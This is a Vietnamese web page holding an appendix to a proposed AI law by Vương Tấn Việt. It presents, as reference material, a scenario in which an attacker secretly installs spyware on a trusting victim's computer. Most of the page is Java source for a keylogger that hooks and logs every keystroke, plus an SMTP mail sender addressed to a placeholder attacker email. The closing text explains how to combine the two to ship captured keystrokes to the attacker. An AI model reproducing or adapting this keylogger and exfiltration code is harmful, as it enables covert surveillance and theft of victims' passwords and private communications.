Thứ Bảy, Tháng Tư 20, 2024
Trang ChủThư việnVăn họcLuật Trí Tuệ Nhân Tạo - AI Law

Luật Trí Tuệ Nhân Tạo – AI Law

-

Chương VI

PHỤ LỤC

MẪU MÃ LỆNH ĐÁNH CẮP DỮ LIỆU

(Tham khảo)

Theo khoản 6, Điều 7, TTNT hoặc sản phẩm TTNT có khả năng lập trình các mã lệnh với các chức năng nhằm mục đích tấn công hệ thống thông tin.

Đề tài xin đưa ra một mẫu mã độc có chức năng đánh cắp dữ liệu để làm tư liệu tham khảo cho Luật Trí tuệ nhân tạo.

  1. Tình huống giả định:

Kẻ xấu X muốn lấy tất cả thông tin và liên lạc trên máy tính của một người quan trọng Y.

Kẻ xấu X là người quen biết với người Y nên người Y rất tin tưởng và không cảnh giác.

Kẻ xấu X là người biết lập trình có thể xây dựng một chương trình bằng ngôn ngữ Java.

Kẻ xấu X mượn máy tính hoặc vô tình đoán được mật khẩu để truy cập vào máy tính cá nhân của người Y và cài đặt chương trình này lên và bắt đầu chạy ngầm và tự động.

  1. Mục đích thực hiệna) Theo dõi, lưu trữ hết tất cả phím gõ khi người dùng Y gõ trên máy tính của mình; b) Gửi tất cả thông tin thu thập được về email của người X
  2. Đoạn mã lệnh lấy thông tin viết bằng ngôn ngữ lập trình Java

// BẮT ĐẦU SỬ DỤNG CÁC THƯ VIỆN CÓ SẴN CỦA JAVA
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Properties;
import java.util.logging.FileHandler;
import java.util.logging.Logger;
import java.util.logging.SimpleFormatter;
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
// SỬ DỤNG LỚP NativeKeyListener CỦA JAVA HỖ TRỢ
// ĐỂ THEO DÕI CÁC PHÍM GÕ
public class KeyLogger implements NativeKeyListener {
  String configFilePath = null;
  Logger logger = null;
  FileHandler fileHandler = null;
  SimpleFormatter simpleFormatter = null;
  InputStream inputStream = null;
  Properties properties = null;
  Path currentRelativePath = null;
  public KeyLogger() throws IOException {
    // ĐOẠN MÃ KHỞI TẠO ĐỐI TƯỢNG ĐỂ LƯU THÔNG TIN VÀO FILE
    logger = Logger.getLogger(“Key Log”);
    currentRelativePath = Paths.get(“”);
    inputStream = new FileInputStream(“Config.properties”);
    properties = new Properties();
    properties.load(inputStream);
    configFilePath = properties.getProperty(“FilePath”);
    fileHandler = new FileHandler(configFilePath);
    logger.addHandler(fileHandler);
    simpleFormatter = new SimpleFormatter();
    fileHandler.setFormatter(simpleFormatter);
  }
  // PHƯƠNG THỨC NÀY KÍCH HOẠT KHI MỘT PHÍM BỊ NHẤN
  @Override
  public void nativeKeyPressed(NativeKeyEvent nativeKeyEvent) {
    // LƯU PHÍM BẤM VÀO FILE
    logger.info(“Phím đã bấm: ” + NativeKeyEvent.getKeyText(nativeKeyEvent.getKeyCode()));
  }
  @Override
  public void nativeKeyReleased(NativeKeyEvent nativeKeyEvent) {
  }
  @Override
  public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {
  }
  // HÀM KHỞI ĐỘNG CHẠY CHƯƠNG TRÌNH
  public static void main(String arguments[]) throws IOException, NativeHookException {
    // ĐĂNG KÝ ĐỂ QUAN SÁT CÁC PHÍM BẤM
    GlobalScreen.registerNativeHook();
    GlobalScreen.addNativeKeyListener(new KeyLogger());
  }
}

  1. Đoạn mã lệnh gửi mail dữ liệu đánh cắp được về cho người X bằng ngôn ngữ lập trình Java

Phía sau dấu // là lời chú thích cho từng đoạn mã lệnh

// BẮT ĐÂU GỌI THƯ VIỆN CODE CÓ SẴN CỦA NGÔN NGỮ JAVA
import java.util.Properties;
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
public class SendMail {
 public static void main(String[] args) throws Exception {
  // CÁC THÔNG TIN CẤU HÌNH SERVER EMAIL ĐỂ GỬI MAIL
  // KẺ X CÓ THỂ TIẾP CẬN DỊCH VỤ MỘT CÁCH DỄ DÀNG
  Properties props = System.getProperties();
  props.put(“mail.transport.protocol”, “smtp”);
  props.put(“mail.smtp.port”, 587);
  props.put(“mail.smtp.starttls.enable”, “true”);
  props.put(“mail.smtp.auth”, “true”);
  // KHỞI ĐỘNG PHIÊN LÀM VIỆC ĐỂ GỬI MAIL
  Session session = Session.getDefaultInstance(props);
  // TẠO THÔNG ĐIỆP MAIL
  MimeMessage msg = new MimeMessage(session);
  msg.setFrom(new InternetAddress(FROM, FROMNAME));
  msg.setRecipient(Message.RecipientType.TO, new InternetAddress(
   “EMAIL-CUA-KE-XAU-X@GMAIL.COM”));
  msg.setSubject(“TIÊU ĐỀ EMAIL”); //
  msg.setContent(“THÔNG TIN THU THẬP ĐƯỢC ĐỂ Ở ĐÂY”, “text/html”);
  msg.setHeader(“X-SES-CONFIGURATION-SET”, CONFIGSET);
  Transport transport = session.getTransport();
  try {
   // KẾT NỐI TỚI SERVER CHUYÊN GỬI MAIL
   transport.connect(HOST, SMTP_USERNAME, SMTP_PASSWORD);
   // GỬI MAIL VỚI THÔNG TIN LẤY ĐƯỢC TỚI MAIL CỦA KẺ X
   transport.sendMessage(msg, msg.getAllRecipients());
  } catch (Exception ex) {} finally {
   transport.close();
  }
 }
}

Bằng cách kết hợp 2 đoạn mã lệnh trên, lập trình viên có thể tạo ra nhiều chương trình nguy hiểm như lưu trữ thông tin người dùng Y nhập từ bàn phím vào một file và định kỳ gửi thông tin này về email của mình để phân tích dữ liệu phục vụ cho mục đích xấu.

-HẾT-

Vương Tấn Việt

Ấn phẩm mớispot_img

Thông báo

Thông báo lịch giảng – khóa thiền tháng 4 năm 2024...

0
Lịch khóa thiền và thuyết giảng tháng 4 năm 2024 (update 19/4/2024): 1. Thứ 6 ngày 5/4/2024 (27/2 AL): 19h00 thuyết giảng tại chùa Pháp...

Tin mới nhất